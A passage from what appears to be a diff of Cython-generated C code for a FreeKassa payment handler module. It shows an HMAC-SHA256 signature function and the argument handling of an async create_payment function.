kwd_pos_args, "generate_signature") < 0)) __PYX_ERR(0, 30, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_params = values[0]; + __pyx_v_api_key = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("generate_signature", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 30, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.generate_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_generate_signature(__pyx_self, __pyx_v_params, __pyx_v_api_key); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":32 + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) # <<<<<<<<<<<<<< + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + * + */ + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_18generate_signature_genexpr(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_genexpr_arg_0) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("genexpr", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 32, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_genexpr_arg_0 = __pyx_genexpr_arg_0; + __Pyx_INCREF(__pyx_cur_scope->__pyx_genexpr_arg_0); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_genexpr_arg_0); + { + __pyx_CoroutineObject *gen = __Pyx_Generator_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6, NULL, (PyObject *) __pyx_cur_scope, __pyx_n_s_genexpr, __pyx_n_s_generate_signature_locals_genexp, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.generate_signature.genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + Py_ssize_t __pyx_t_2; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("genexpr", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_r = PyList_New(0); if (unlikely(!__pyx_r)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_r); + __pyx_t_2 = 0; + if (unlikely(!__pyx_cur_scope->__pyx_genexpr_arg_0)) { __Pyx_RaiseUnboundLocalError(".0"); __PYX_ERR(0, 32, __pyx_L1_error) } + __pyx_t_5 = __Pyx_dict_iterator(__pyx_cur_scope->__pyx_genexpr_arg_0, 1, __pyx_n_s_values, (&__pyx_t_3), (&__pyx_t_4)); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_1); + __pyx_t_1 = __pyx_t_5; + __pyx_t_5 = 0; + while (1) { + __pyx_t_6 = __Pyx_dict_iter_next(__pyx_t_1, __pyx_t_3, &__pyx_t_2, NULL, &__pyx_t_5, NULL, __pyx_t_4); + if (unlikely(__pyx_t_6 == 0)) break; + if (unlikely(__pyx_t_6 == -1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_value); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_value, __pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_Unicode(__pyx_cur_scope->__pyx_v_value); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (unlikely(__Pyx_ListComp_Append(__pyx_r, (PyObject*)__pyx_t_5))) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* function exit code */ + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_AddTraceback("genexpr", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_generate_signature(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_params, PyObject *__pyx_v_api_key) { + PyObject *__pyx_v_sorted_params = NULL; + PyObject *__pyx_v_sign_string = NULL; + PyObject *__pyx_7genexpr__pyx_v_k = NULL; + PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6 = 0; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + int __pyx_t_4; + Py_ssize_t __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + PyObject *__pyx_t_10 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("generate_signature", 1); + + /* "handlers/payments/freekassa_pay.py":31 + * + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} # <<<<<<<<<<<<<< + * sign_string = "|".join(str(value) for value in sorted_params.values()) + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + */ + { /* enter inner scope */ + __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PySequence_List(__pyx_v_params); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + __pyx_t_4 = PyList_Sort(__pyx_t_2); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 31, __pyx_L5_error) + __pyx_t_3 = __pyx_t_2; __Pyx_INCREF(__pyx_t_3); + __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + for (;;) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_3); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 31, __pyx_L5_error) + #endif + if (__pyx_t_5 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_2 = PyList_GET_ITEM(__pyx_t_3, __pyx_t_5); __Pyx_INCREF(__pyx_t_2); __pyx_t_5++; if (unlikely((0 < 0))) __PYX_ERR(0, 31, __pyx_L5_error) + #else + __pyx_t_2 = __Pyx_PySequence_ITEM(__pyx_t_3, __pyx_t_5); __pyx_t_5++; if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + #endif + __Pyx_XDECREF_SET(__pyx_7genexpr__pyx_v_k, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetItem(__pyx_v_params, __pyx_7genexpr__pyx_v_k); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + if (unlikely(PyDict_SetItem(__pyx_t_1, (PyObject*)__pyx_7genexpr__pyx_v_k, (PyObject*)__pyx_t_2))) __PYX_ERR(0, 31, __pyx_L5_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_7genexpr__pyx_v_k); __pyx_7genexpr__pyx_v_k = 0; + goto __pyx_L9_exit_scope; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_7genexpr__pyx_v_k); __pyx_7genexpr__pyx_v_k = 0; + goto __pyx_L1_error; + __pyx_L9_exit_scope:; + } /* exit inner scope */ + __pyx_v_sorted_params = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":32 + * def generate_signature(params, api_key): + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) # <<<<<<<<<<<<<< + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() + * + */ + __pyx_t_1 = __pyx_pf_8handlers_8payments_13freekassa_pay_18generate_signature_genexpr(NULL, __pyx_v_sorted_params); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_Generator_Next(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyUnicode_Join(__pyx_kp_u_, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_v_sign_string = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":33 + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + * return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_hmac); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_new); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_api_key, __pyx_n_s_encode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + if (unlikely(__pyx_v_sign_string == Py_None)) { + PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%.30s'", "encode"); + __PYX_ERR(0, 33, __pyx_L1_error) + } + __pyx_t_7 = PyUnicode_AsEncodedString(__pyx_v_sign_string, NULL, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_sha256); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_8, __pyx_t_2, __pyx_t_7, __pyx_t_10}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_9, 3+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_r = __pyx_t_1; + __pyx_t_1 = 0; + goto __pyx_L0; + + /* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_AddTraceback("handlers.payments.freekassa_pay.generate_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_sorted_params); + __Pyx_XDECREF(__pyx_v_sign_string); + __Pyx_XDECREF(__pyx_7genexpr__pyx_v_k); + __Pyx_XDECREF(__pyx_gb_8handlers_8payments_13freekassa_pay_18generate_signature_2generator6); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_4generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_3create_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_3create_payment = {"create_payment", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_3create_payment, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_3create_payment(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + CYTHON_UNUSED PyObject *__pyx_v_user_id = 0; + PyObject *__pyx_v_amount = 0; + PyObject *__pyx_v_email = 0; + PyObject *__pyx_v_ip = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[4] = {0,0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("create_payment (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_user_id,&__pyx_n_s_amount,&__pyx_n_s_email,&__pyx_n_s_ip,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 4: values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + CYTHON_FALLTHROUGH; + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_user_id)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_amount)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, 1); __PYX_ERR(0, 36, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_email)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, 2); __PYX_ERR(0, 36, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 3: + if (likely((values[3] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_ip)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[3]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, 3); __PYX_ERR(0, 36, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "create_payment") < 0)) __PYX_ERR(0, 36, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 4)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + values[3] = __Pyx_Arg_FASTCALL(__pyx_args, 3); + } + __pyx_v_user_id = values[0]; + __pyx_v_amount = values[1]; + __pyx_v_email = values[2]; + __pyx_v_ip = values[3]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("create_payment", 1, 4, 4, __pyx_nargs); __PYX_ERR(0, 36, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_2create_payment(__pyx_self, __pyx_v_user_id, __pyx_v_amount, __pyx_v_email, __pyx_v_ip); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_2create_payment(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_user_id, PyObject *__pyx_v_amount, PyObject *__pyx_v_email, PyObject *__pyx_v_ip) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("create_payment", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 36, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_user_id = __pyx_v_user_id; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_user_id); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_user_id); + __pyx_cur_scope->__pyx_v_amount = __pyx_v_amount; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_amount); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_amount); + __pyx_cur_scope->__pyx_v_email = __pyx_v_email; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_email); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_email); + __pyx_cur_scope->__pyx_v_ip = __pyx_v_ip; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_ip); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_ip); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_4generator, __pyx_codeobj__2, (PyObject *) __pyx_cur_scope, __pyx_n_s_create_payment, __pyx_n_s_create_payment, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 36, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + 